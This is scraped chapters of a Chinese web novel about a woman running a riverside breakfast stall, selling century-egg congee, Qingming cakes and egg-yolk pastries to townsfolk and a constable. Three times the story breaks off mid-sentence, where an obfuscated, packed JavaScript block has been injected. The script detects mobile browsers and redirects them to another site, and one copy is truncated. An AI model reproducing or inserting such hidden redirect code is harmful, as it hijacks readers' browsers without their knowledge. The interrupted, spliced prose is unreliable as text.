上新 四月里的清晨，河边的柳条树影婆娑。 黄总用头蹭了蹭吴怀夕的手心，比敲竹梆子的更夫更加准时地将她从床上给叫起来。 吴怀夕打了个哈欠，一番洗漱后，从盆里宝贝似的拣出了几枚鸡蛋。 那鸡蛋已经完全被盐水有草木灰浸透，用清水洗净后，蛋壳泛起了一点儿青灰色。 剥开蛋壳，露出里面深褐色的内里来。对着烛火，能瞧见它的蛋白晶莹剔透，布着一层松针似的花纹。 她切开半个，蘸了一些豆酱尝了尝。 深褐色的蛋白如果冻般弹牙，黑色的蛋黄沙沙的，口感绵密，佐之以豆酱，搭配适宜。 就是这个味儿！ 新鲜的米先浸泡上半个时辰后，放入她新购的大砂锅中慢慢煨着，剩余的时辰，便继续忙活着她的豆花与生煎。 这两日天倒是稍微亮得早些，码头上已经来了不少的扛货的工人。 吴怀夕掀开砂锅的盖子，里面的米已经被炖得软烂，米香四溢。她将腌好的肉丝与姜丝倒进去，又放了些粗盐调味。 当然，最后必不可少的，就是切成碎丁的皮蛋了。 “今日怎么有一股米香？又有新吃食了？” 陈福来向往常一样早早地来了小食摊，见吴怀夕拿着一柄长勺，掀开砂锅的盖子搅动，“吴小娘子怎么卖起粥来了，一碗薄粥可不适合我们这些人，就是一包水，还没有豆渣饼顶饱，隔一个时辰便饿了。” “我这可不是薄粥。” 吴怀夕笑着拿起碗，准备给陈福来打豆花，“陈大哥今日要吃什么？还是老样子？” 陈福来来了兴致，站起身走到吴怀夕跟前，见那砂锅中的粥炖得浓稠，洁白的米粒中还夹着肉丝与一些黑色的小块。 这凑到跟前来，米香裹着肉香的味道更加浓郁了，尤其还有一股独特的香味，许是那黑色小块散发出来的。 “这一碗多少钱？” 陈福来望着这一砂锅的粥，咽了咽口水，真香。 “陈大哥，五文钱一碗，小菜免费。” 五文钱若是一碗薄粥，那确实有些贵。但那粥浓稠不说，里头还有肉丝。再者，另一只大碗里，装着炒好的苋菜，那菜梗子翠绿，还冒着热气，瞧着就是现炒，并不收钱。 “那给我来一碗，再加一根油条。” 陈福来思索了片刻，还是想尝一尝这吴小娘子的新品，毕竟她做的每一样朝食，都做在他心坎上了，好吃得很。 吴怀夕买的碗极大，现下陈福来面前，就摆着一大碗粥，粥旁用小碟子摆了苋菜。这一碗粥配上一根油条，怕是一上午都不会饿了。 应着他的口味，粥上还撒了一些葱花，滴了少许香油。洁白、嫩粉、翠绿交相呼应，看着就叫人食欲大增。 陈福来迫不及待地抓起调羹舀了一勺，胡乱吹了几下，便迅速放进嘴里。 米粒被煮得软糯，绵滑顺口，而那瘦肉更是嫩滑爽口，明明是猪肉，嚼着却一点儿也不柴，且尝不出一丝腥味。这是怎么做到的？ 至于这黑色的小块......陈福来品了片刻。 是皮蛋！ 生吃时的碱味尝不到了，放在这粥中，反而增添了别样的鲜味！ 美味！ “吴小娘子，这粥里怎么藏了一点儿辣味，虽说只有一点吧，可不像是辣椒的味道？” 这粥已经是极有滋味的了，可粥里有一股奇特的辣香味，更是让人一口接一口停不下来。 “我加了一点儿胡椒。” 谈话的功夫，小食摊上又陆陆续续地来了不少人，大伙看着这陈福来吃得这样爽利，个个都想来上一碗吴小娘子说的新品——皮蛋瘦肉粥。 “胡椒！” 陈福来险些被粥给呛到，他咳嗽了一声，狠狠地嚼了一口油条。 “那可是精贵的不得了的东西，我瞧着只有那些食肆酒楼的大菜，才放些，我还没尝过呢，原来是这样的味道。吴小娘子，你可太舍得了！这五文钱，果真是值的！” “嚯，竟真是胡椒的味道。” 有别的食客吃了一口粥，尝了出来。他是一位掌柜，平日里与人做生意，食肆酒楼是家常便饭，自然是懂得胡椒的味道。今日他也是听了好友的话，头一次来这小食摊上。 本还在打趣好友，这小食摊上的东西，也只可下嘴饱腹罢了，还能吃出个什么特别的滋味。 他点了一叠生煎与新品皮蛋瘦肉粥，一尝眉头一挑。 嗯，果真味道是极好，他着实是目光短浅了。 “吴小娘子就不怕亏本吗？” “无碍，只是放了一点，客人尝着喜欢便好。” 吴怀夕含笑地给这位掌柜打包着他想带着家人吃的生煎。 她虽然只买了一罐胡椒，但那胡椒粒磨成粉后，能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13059313|137654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用好长的一段时间。且一大锅皮蛋瘦肉粥中，只需撒一点儿就可增加风味，并不会亏本。 看来这皮蛋瘦肉粥，大家也很喜欢，是时候多腌一些皮蛋了。 “哎哟喂，那什么粥，也给我上一碗吧，我真是要死了。” 一位食客正扶着腰，慢慢地走到小食摊面前。一坐到凳子上，便立刻弹跳起来，随后再慢慢坐下去。 他脸色苍白，整个人都病恹恹的，像是生病了。 “哎唷，这不是孙哥吗？这两日都没看见你，这是发生什么事了？” 陈福来看到他这副样子，并不同情，反而凑上前去，调笑道，“怎么走起路来这么费劲，屁股疼？犯事叫人给打了？” “去去去！” 孙大哥叹了一口气，叫吴怀夕快些上碗粥，欲哭无泪道，“快别说了，就吃前面那家生煎包给闹的，拉死我了。我就尝着那肉味道有些酸，想着不能浪费吧，就全给吃了......” “哎哟喂，拉了我两天，人都快拉没了。” 孙大哥哀嚎连连，一张脸拉得如同苦瓜似的，看来确实痛苦得很啊。 “你才别说了呢。” 陈福来一脸嫌弃，“大家伙都在吃饭呢，你一个人在这拉不拉的，还让不让人吃了。谁叫你贪小便宜来的，实话告诉你吧，我前两日还瞧见那摊子进的肉，买的是屠三哥黄昏时剩的肉。” “还十文钱十个，我瞧着你看大夫配些止泻的药，也得花上几十文吧。” 陈福来还在一个劲地说，引得旁边的食客纷纷大笑，孙大哥却已经没有力气去辩驳了。 “孙大哥，喝粥。” 一碗热气腾腾地粥摆到孙大哥面前，温热的粥一口下去，让他的胃里好受了不少。 再望着吴小娘子那张笑意盈盈的脸。 更加好受了。 以后再也不去那该死的摊子上吃东西了，还是来吴小娘子这儿！ “好香，仲玉，要不咱俩过去尝尝？” 两位书生打扮的公子路过小食摊，其中一位被香味吸引了。 “吃过了。” 那位叫仲玉的公子摇了摇头，却依旧朝着好友指的方向望去。 他瞧见小食摊上有一位穿着藕粉色衣裙的姑娘。 盛开的杏花瓣被风吹拂下来，落入她的发间。她一颦一笑，在蒸腾的热气下，带着一丝别样的人间烟火气。 22. 清明 今日倒是与往常的日子有些不同，冷了些。 小河边的杏花本就在洋洋洒洒地往下落，被冷冽潮湿的空气一熏，倒像是有些蔫了。 河边的行人全都裹紧了衣服，也不像多日前热得穿一件薄衫。 “吴小娘子，赶紧来晚姜汤暖暖。” 食客穿着一件厚袄子，收了伞，走到小食摊的桌前。细雨如丝如绸，淅淅沥沥地打在桌上方的打伞上，溅起一圈小水花，却落不到桌上。 定制的大伞也已经送来，她的小食摊倒是个避雨的好场所，又有免费的姜汤，不多时，小食摊前就坐满了人。 “我说，还是吴小娘子这儿的生煎好吃，前头那家，都没人了，今日都没来摆摊。” 食客夹起生煎包，咬一口汤汁四溢，又用调羹搅了搅皮蛋瘦肉粥，“我同你们讲，真是笑死我了......” 食客喝了一口粥，话讲到一半，却自顾自地笑了起来，笑得上气不接下气，半晌就是不讲，十足地吊人胃口。 “我说，你能不能快讲，啥新鲜的事啊？” “对啊，对啊，你别把自己给笑岔气了。” 不仅别的食客好奇，连吴怀夕也驻足，偏着头想要瞧瞧他葫芦里卖得是什么药，给他又添了些姜汤。 “咱们桃源县最近的官老爷来镇上了，说是来巡查民情，这不，在风味斋那儿住下了。这官老爷倒是吃不得这些摊子上的东西，可是带来了好几个衙役啊，其中有位明大官人，是最好吃的。” “那位明大官人，早晨来巡街，就吃得那家生煎......哈哈哈哈哈，我同你们讲......哈哈哈哈哈！” 那食客捂住肚子，笑出声来，就差没在地上打滚儿了，“那家摊子，竟然给明大官人，吃隔日的生煎！” 另一食客听了升起惊奇之色，他捂着嘴，“前两日这样热，隔日的生煎，不都酸了？” “哈哈哈哈！” 那食客端起姜汤饮了一口，砸吧砸吧嘴继续讲，“谁说不是呢！那王婆子瞧着倒老实，还给明大官人倒了一碟子醋，明大官人还以为是我们这特色呢，就给全吃了，哈哈哈哈......” “全吃了？” 孙大哥将碗端到了这位食客面前，一股强烈的同情心溢于言表，“我那天就吃着俩酸的，就拉了好几日，这明大官人全吃了？那岂不是......” 别的食客也纷纷围上来，想要听得更加清晰些。 “王婆子那生煎，那可是比泻药还管用啊。纵使明大官人是练家子又如何，那也是，一泻千里呐！” 食客将姜汤一饮而尽，将碗往桌子上一拍，如同说书先生拍他醒木一般。 “天呐！明大官人还好吧。” 孙大哥这两日已经将身体养好了，回想起当初的痛苦食客，对明大官人表示深深的同情。 “那能好吗......那不说是练家子呢，还能捂着肚子，寻王婆子去。谁知那王婆子跑得比兔子还快，摊都没了，你说这明大官人找谁说理去？哈哈哈哈哈！” 食客正慷慨激昂地讲着这趣事，一时间，小食摊充满了欢笑声。然而他一转头，瞥见小食摊旁一抹黑色的身影。 他的神情比他身着的黑衣更黑，一双丹凤眼里满是阴郁。 “明，明......” 食客的舌头如何打了结般，哪还有刚刚的神气劲，“明大官人！” “你们安阳镇的摊子，都是些黑心肝的。” 明轩将油纸伞收了，坐到那食客身边，“你再讲讲，我觉得你讲得甚是有趣，再讲些。” “介介介......介咋会呢，明大官人。” 食客坐如针毡，这刚说完本尊的坏话，本尊出现在他眼前就算了，还坐到了他身边，“明大官人用饭了吗？想吃些啥，小，小的请了。” “不吃了，怕吃死。” 明轩愤愤地将佩刀往桌上一拍，“来一碗姜汤便可。” 姜汤很快就上端了上来，他又愤愤地喝了一口。 他长得一副生人勿近的样子，其他食客方才也跟着笑了几声，个个噤若寒蝉，比做功课还仔细般吃着面前的朝食，不敢往这儿瞧。 那食客就更加小心翼翼了，夹着生煎包，轻轻地放入口中，连咀嚼的声音都不敢发出来。 未曾想。 “咻！” 吴小娘子的生煎包做得实在是太过美味，新鲜且汁水丰富。 一咬，那汁水就这样溅到了明大官人的袖口上。 ！ 这一瞬间，食客心里已经将自己的身后事都交代明白了。 “你这吃的是什么？怎么同那家摊子不一样？” 想象中的暴怒并没有到来，他颤颤巍巍地抬起头，反而瞧见了明大官人一脸好奇地盯着他夹着的生煎包。 “回，回明大官人，这是生煎包。” “我知晓这是生煎包，这怎么会有这么多汤汁？” “回，回明大官人，吴小娘子摊上的生煎包，就是这般的。底层酥脆，上层软嫩、馅料多汁、肉香四溢......” 那食客还未说完，明轩咳嗽了两声，一伸手，“来一叠。还有那什么粥，也来一碗。” 皮蛋瘦肉粥与生煎包被摆到了明轩的桌上，他夹了一只放进嘴里，果然与这食客描述的味道相同，层次分明，口感香脆。 那摊子上的生煎包与这根本，没法比嘛！ 还有这碗看起来就叫人食欲大增的粥，美味咸香，润滑爽口。 众食客纷纷偷偷瞥过头来，见这明大官人一口接一口地尝着粥，与他们并无什么分别。 看来这明大官人也不是这么不好相处，再者，王婆子的家只要稍微一打听，便可知晓，他也没去王婆子麻烦。 这边大家都在偷看，那边吴怀夕已经将新的吃食摆了出来。 小食摊前的木板上，放着一排清明粑。 “吴小娘子，你这做朝食还不够，怎么还做上清明粑了。” 一食客眼尖，瞧见了木板上的清明粑。与自家做的不同的是，那清明粑泽鲜亮，外形圆润，如玉石般饱满。 “做些自个儿尝尝，也想试着卖些。钱大哥要尝尝吗，三文钱一个。” 吴怀夕用竹夹子夹起清明粑，那外皮像是与木板难舍难分似的，分开得极慢，瞧着就黏糯。 清明粑做起来麻烦，要将艾叶切碎了揉进面粉里，一般寻常人家就用普通的粗面，若是讲究些，就用精面。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13059314|137654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >像外头酥饼铺子里，要买来送礼的，就更加讲究，要用上糯米粉。但那实在是贵价，一盒装着六个清明粑的礼盒，要卖上五六十文钱。 “那尝尝。” 钱大哥拿起筷子将端上来的清明粑一夹，竟印出一个深深的坑，如此黏糯！ 他索性直接用手拣起那清明粑，放进嘴里。 清明粑外皮细腻，连艾叶的影子都瞧不见，却能闻见艾叶的清香。嚼起来满口的顺滑软糯。 内里大有不同，芋头与蛋黄沙沙的口感交错，甜中又带着一丝微咸。 软糯、香甜、清新...... 这还是他平日里尝过的，粗糙的清明粑吗？ “三文钱，用的是糯米粉，还是个我从来没尝过的馅。吴小娘子，快些给我多包几个，我带回家给我媳妇儿与孩子尝尝！” “钱大哥，您刚刚尝的是蛋黄芋泥馅、还有豆沙馅、花生芝麻馅、枣泥馅，你要哪些？” “都要！都要！” 这钱大哥一带头，其他食客也纷纷想尝尝。一个清明粑而已，至于像没吃过似的吗？ 然而这一到嘴里，可就不同咯。 豆沙馅出了沙，甜而不腻，花生芝麻馅裹着糖浆，满口酥香，枣泥馅枣香浓郁，口感细腻。 尤其是那外皮光滑黏糯，用了糯米粉，却只要三文钱！ “吴小娘子可接礼盒，这样的美味，我想送给外婆尝尝。” “对头，可接礼盒，贵些也不打紧。” “是接的，今日做得少些，若你们想要礼盒，便同我讲，我明日一并做了。不过只能用油纸包起来，描些花样，并不是贵价的木盒，每样两枚，一共八枚，三十九文。” “竟如何实惠！我订两个！” “我也订两个！” “我订一个！” 若说是四十文钱，听起来确实是贵了些，若说是三十九文，只差一文钱，听着可是三字开头。 就像现代的九块九、十九块九、二十九块九......听着是便宜，这一通买下来，花下去大几百。 “给我包几个带回去。” 明轩尝了一只清明粑，果然也是与众不同，可他今日已经尝了八只生煎、一碗皮蛋瘦肉粥，若是再尝上四五六七个。 是不是不太威严。 他咳嗽了两声，从这位吴小娘子这儿，带回去了十个清明粑。 食客陆陆续续地走了，吴怀夕拿笔那么一算。 今日朝食收入三百多文，清明粑收入一百多文。 还有这么多三十九文的清明粑单子...... 发财啦！ “仲玉，你尝一个，特别好吃！” 明轩回了风味斋，见掌柜的公子正在柜台前仔细地算账。他自己是个自来熟，来了这儿后，整个风味斋的伙计都混熟了，更何况掌柜的公子呢。 仲玉瞥了一眼黏腻的清明粑。 “不吃。” “你尝一个嘛，仲玉，相信我。我可就给你一人吃......” 明轩强行将一个清明粑塞进了仲玉的手心。 仲玉无奈摇了摇头，尝了一口。 他眉心一颤，又尝了一口。 果真如此好吃。 23. 萌动 寅时初刻，春雨裹挟着东风，细密地落在小食摊的木檐上，河边雾气朦胧，几乎看不见人影。 这样的日子，连敲竹梆子的更夫都只是囫囵敲上几下，裹了裹身上的蓑衣，不知躲去了哪里。 河边小食摊的门“吱呀”一声打开，露出吴怀夕打着哈欠的身影来。 孩子们搭好的泥灶子旁用木头搭了一个架子，上方盖着一层油纸布。尽管春雨落着，移开底下几块砖头后，泥灶子里的柴火昨夜依旧烧得火热，沾不到一点儿春雨。 底下柴火虽灭了，但上方泥灶子的余温还在。 吴怀夕用手在砖头旁试探了几下泥灶子里的温度，将一些雪白的小团子摆在芦苇叶上，放进泥灶子，再将砖头给移上。 小食摊内的泥炉上煮着热水，她给自己沏了碗散茶，又加了些陈皮，才去忙活其他的事。 豆腐的朝食先暂停几日，最近几日都要做清明粑，实在是没有功夫磨豆子。 看着木桶里的黄豆，吴怀夕却有些动摇，不过才做个把月的豆腐生意，她恨不得自己长出几只手来疯狂将它们给磨了，买骡子的计划又提上了日程。 她将嫩艾草捣碎后，用屉布将翠绿的汁液滤得很干净，留不得一点儿渣子，这样尝起来的口感才细嫩圆滑。 艾草汁液混入糯米粉，又加了些猪油与细砂糖，揉成面团。 豆沙、枣泥、芋泥这些馅又要现蒸，若是用了隔夜的，尝起来不佳不说，若是酸了，那岂不是吃坏肚子砸了她小食摊的招牌。 实在是忙上加忙！ 待到夏日里，她的哺食生意做起来，她定是要招两位人手的，这谁吃得消！ 散茶已经放凉，她咕嘟咕嘟一饮而尽，又倒上一些，希望能驱散她的困意。 生煎包与皮蛋瘦肉粥依旧要做，等她忙完这些，又将清明粑放凉，已经喝了三大碗散茶。 小食摊的客人又陆陆续续地到了，她一边招呼客人，一边将凉好的清明粑用包上油纸，描了些花草的花样，再用细麻绳系在上面，方便拿取。 “吴小娘子，上一叠生煎包。我订的清明粑礼盒做好了吗？” 钱大哥坐到了桌前，瞥见今日少了两只木桶，又瞧着吴小娘子哈欠连天的样子，登时心领神会，倒起桌上的茶，也不要豆浆喝。 “已经做好了。” 吴怀夕将生煎包端到他面前，又将包好的清明粑拿了过来，“钱大哥要的两份，你瞧着这样式如何，是否和心意？” 虽说是简单的油纸，但油纸上却描了不少秋菊兰花。这一瞅，竟是一点儿都不落俗。 那酥饼铺子里的礼盒虽然瞧着好看，但吃完里面的清明粑后，雕得龙飞凤舞的木盒子小得装几个鸡蛋都不成，只能用来放些瓜子。 像是寻常人家摆些阔气劲。 油纸包的吃了丢了便可，何况这吴小娘子做的清明粑实在是可口。 “合心意，合心意。” 钱大哥尝着生煎包笑得合不拢嘴，眯着眼睛将剩余的钱递给了吴怀夕，越瞧越合心意。 一个礼盒十文钱定金，昨日她接了得有四十多个礼盒。 光清明粑这样吃食，除去成本，一天下来，能净赚一两多！ 吴怀夕在心中数着一份又一份的钱，默念着要是每天都过节，就好了。 依旧是同昨日这般相同的套路，昨日是清明粑，今日便是别的。 当吴怀夕用湿布裹了手，用竹夹子从一旁的泥灶子中夹出一个又一个雪白的团球后，又引得食客们连连往她那里探头。 “吴小娘子这又是做了啥啊，咋闻起来这样香！” 一股浓烈的蛋奶香夹杂着甜丝丝的味道，在小食摊上弥漫开来。 “是蛋黄酥，要尝一个吗？也是三文钱。” 一个个蛋黄酥摆在木板上，底端雪白，上方又呈金黄，沾着不少黑芝麻，像一只只金元宝。 吴怀夕拿着竹夹子晃了晃，蛋黄酥上的酥皮随着晃动掉落。 诱人。 “怎得不尝？吴小娘子做的吃食不是样样赛神仙，给我来一个！不，来俩！” 钱大哥今日的心情格外的愉悦，胃口也跟着好。 那蛋黄酥虽然是小食摊上的玩意，却瞧着比酥饼店里更加有模有样。 他迫不及待地将拿起一只，却被烫得险些丢出去。蛋黄酥从他的左手传到右手，又从右手传到左手，酥皮掉了些，又掉了些。 这叫他哪还管烫不烫，在嘴里滚上一圈，便不烫了。 一口下去，酥脆的外皮充斥着浓郁的面香与油香，而内里确实柔软湿润。 “呼！好烫！” 钱大哥咬了一半，烫到了舌尖。定睛一瞧，那内里竟淌着金黄色的流沙，沙沙的口感中混着甜咸与奶香。 “吴小娘子，这怎么同生煎包似的，还能吃出一股牛乳香。这外皮好酥，真是酥掉牙了!” 钱大哥一边讲，一边将掉落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13059315|137654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在碟子里的酥皮全都拾了嚼了去，一点儿都不舍得浪费。 “是加了一些牛乳进去，钱大哥尝着味道如何？” 刚刚端出来时，她自己也尝了一个。 虽然没有现代的电烤箱，但春生他们搭的泥灶子可是个天然的烤箱，木炭让它受热更加均匀，这让蛋黄酥的外皮更加酥脆。 “绝。” 蛋黄酥比清明粑还受欢迎，三文钱就能买到酥饼店里七八文钱一只的酥饼，谁都想买来尝尝。 更有不少孩童，与父母亲撒娇，拿了三文钱来排起长龙。 当然这长长的队伍中，依旧有着明大官人。 “十个，必须来十个。还有昨日的清明粑礼盒，我是定了三份的噢。” 明轩哪还有一本正经的样子，他手指夹着一只蛋黄酥，丹凤眼微微眯起，上扬的嘴角旁挂着一层酥皮。 这是他对蛋黄酥最佳的肯定。 “仲玉，我同你讲，这简直就是超级无敌的美味！” 明轩打包了蛋黄酥，又跑到仲玉面前去晃悠。 “也是那吴小娘子做的？” 仲玉今日倒是没有拒绝，反而自然而然地接过蛋黄酥，咬了一口，细细地咀嚼。 “对头。” 明轩将又分给了仲玉一只，将其他的藏进了怀里，“不过仲玉，我还以为你不会吃小食摊上的吃食呢。毕竟我听伙计讲你喝菌子汤要喝羊肚菌的，喝老鸭汤还要反复挑上一只最好的，还有......” "聒噪。" 仲玉吃完一只蛋黄酥，将另一只仔细包好，“再同你讲，来不及去书院了。” “得，你们读书人是这样子的。” 明轩识相地给仲玉让了道，“得亏咱们孙大人不爱读书，要是以后让我侍候一位‘之乎者也’的大人，我想都不敢想！” 仲玉闻言，脚步一滞，面上带着一抹似有若无的笑，“这可说不准。” 去书院要途经小食摊。 春雨依旧细细密密地下着，落在河里。 远远瞧见那位吴小娘子今日穿着一条翠竹的衣裙，笑意盈盈地夹着一个蛋黄酥，递给小食摊前垫着脚的孩童。 仲玉看了几眼，便在同窗的催促下往书院去了。 蛋黄酥卖得极快，小食摊上很快就只剩下吃朝食的食客。 却有人抖着一身蓑衣而来，等他斗笠拿掉后，惊异地看清了吴怀夕的面庞。 “嫂嫂？”